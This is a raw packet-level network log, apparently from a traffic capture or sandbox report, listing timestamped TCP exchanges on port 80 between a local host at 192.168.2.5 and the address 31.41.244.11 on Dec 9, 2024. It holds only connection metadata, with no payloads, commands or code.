Dec 9, 2024 15:30:15.906106949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.907502890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.907521009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.907550097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.907572031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.908909082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.908924103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.908951044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.908976078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.910320997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.910367966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.910440922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.910480022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.911735058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.911752939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.911786079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.911804914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.913383961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.913402081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.913470984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.913482904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.914911032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.914930105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.914944887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.914962053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.914983988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.916487932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.916505098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.916544914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.916585922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.917943954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.917963982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.917999029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.918016911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.918540955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.918559074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.918589115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.918603897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.921962023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.921982050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.921996117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.922032118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.922055960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.922895908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.922914028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.922949076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.922991037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.923824072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.923887968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.924001932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.924050093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.925379038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.925394058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.925434113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.925460100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.926928043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.926940918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.926980019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.928507090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.928522110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.928533077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.928565025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.928591013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.930051088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.930064917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.930105925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.931332111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.931391954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.931433916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.931478024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.932849884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.932862043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.932900906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.932914019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.934407949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.934422016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.934432983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.934462070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.934484005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.935018063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.935034037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.935066938 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.935090065 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.936542988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.936556101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.936593056 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.937413931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.938056946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.938071966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.938100100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.938117981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.939651966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.939665079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.939708948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.939724922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.941346884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.941360950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.941370964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.941395998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.941447020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.943272114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.943285942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.943325996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.943351030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.945116043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.945128918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.945153952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.945180893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.945930958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.945951939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.945995092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.946022987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.947069883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.947086096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.947097063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.947114944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.947141886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.948548079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.948563099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.948594093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.948613882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.950316906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.950331926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.950360060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.950390100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.951853991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.951877117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.951900959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.951936960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.953414917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.953428984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.953460932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.953522921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.954806089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.954819918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.954833031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.954854965 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.954889059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.956024885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.956041098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.956075907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.956094980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.957612038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.957626104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.957654953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.957686901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.958993912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.959043026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.965632915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.965682030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:15.965940952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.965953112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:15.966020107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.081788063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.081914902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.082195044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.082359076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.082762003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.082817078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.083292961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.083344936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.083825111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.083842039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.083878994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.083897114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.085273027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.085336924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.085901022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.085951090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.086661100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.086675882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.086710930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.086725950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.088035107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.088049889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.088090897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.088109016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.089499950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.089515924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.089559078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.089570999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.090919971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.090933084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.090977907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.090993881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.092545033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.092560053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.092598915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.092617035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.094080925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.094098091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.094140053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.094153881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.095361948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.095376015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.095418930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.095432043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.096527100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.096543074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.096580982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.096595049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.097902060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.097915888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.097955942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.099025965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.099040031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.099080086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.099121094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.100239992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.100253105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.100291014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.100306988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.101751089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.101763964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.101814032 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.103311062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.103332996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.103377104 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.103408098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.104669094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.104685068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.104724884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.104737997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.106223106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.106240034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.106252909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.106277943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.106298923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.107682943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.107697010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.107745886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.107772112 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.109234095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.109251022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.109289885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.109302998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.110682964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.110698938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.110742092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.110754967 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.112170935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.112186909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.112199068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.112226963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.112250090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.113676071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.113691092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.113735914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.113768101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.115151882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.115179062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.115215063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.115231037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.116734028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.116750002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.116799116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.116813898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.118155956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.118171930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.118216991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.118227959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.119628906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.119656086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.119668961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.119682074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.119693995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.119713068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.121237040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.121251106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.121287107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.121301889 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.122673988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.122687101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.122739077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.124156952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.124172926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.124206066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.124234915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.126231909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.126246929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.126257896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.126292944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.126318932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.127290964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.127305031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.127346992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.128676891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.128691912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.128727913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.128756046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.130358934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.130374908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.130404949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.130418062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.131843090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.131859064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.131896973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.131911993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.133666039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.133685112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.133702040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.133713007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.133724928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.133749962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.135174036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.135186911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.135235071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.136817932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.136833906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.136874914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.137996912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.138015032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.138037920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.138063908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.139170885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.139189005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.139203072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.139220953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.139231920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.139251947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.140875101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.140896082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.140918016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.140944958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.142313004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.142328024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.142362118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.142376900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.143739939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.143755913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.143790007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.143802881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.145191908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.145206928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.145255089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.145255089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.146683931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.146698952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.146709919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.146735907 CET	49866	80	192.168.2.5	31.41.244.11
